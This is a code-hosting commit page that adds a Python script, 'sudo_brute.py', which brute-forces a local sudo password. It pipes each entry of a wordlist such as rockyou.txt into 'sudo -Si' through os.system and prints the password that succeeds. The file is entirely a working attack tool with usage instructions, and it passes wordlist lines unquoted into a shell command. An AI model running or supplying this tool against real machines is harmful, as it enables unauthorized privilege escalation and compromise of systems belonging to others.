Projects STRLCPY ticofookfook Commits 85b9ab7e
🤬
  • ■ ■ ■ ■ ■ ■
    Fuzzing Script/sudo_brute.py
     1 +# Author: Matej Ramuta
     2 +# How to use this script:
     3 +# 1. You need to have a wordlist file, something like rockyou.txt
     4 +# 2. Make sure you have Python 3 installed. Try this with "python --version" command. Also check "python3 --version"
     5 +# 3. Run the script like this: python sudo_brute_force.py passwords.txt
     6 + 
     7 +import os
     8 +import sys
     9 + 
     10 +if len(sys.argv) == 1:
     11 + print("You need to add a wordlist! Run the script like this: python sudo_brute_force.py passwords.txt")
     12 + exit()
     13 + 
     14 +wordfile = sys.argv[1]
     15 + 
     16 +print("Brute force sudo password with wordlist {}".format(wordfile))
     17 +print()
     18 + 
     19 +with open(wordfile, "r") as wordlist:
     20 + for password in wordlist:
     21 + print(password)
     22 + 
     23 + result = os.system("echo {} | sudo -Si".format(password.strip())) # important: strip() the newline char
     24 + 
     25 + if result == "0" or result == 0:
     26 + print("Success! :) The password is: {}".format(password))
     27 + break
     28 + else:
     29 + print("Wrong password... :( Let's try again!")
     30 + print()
     31 + 
Please wait...
Page is in error, reload to recover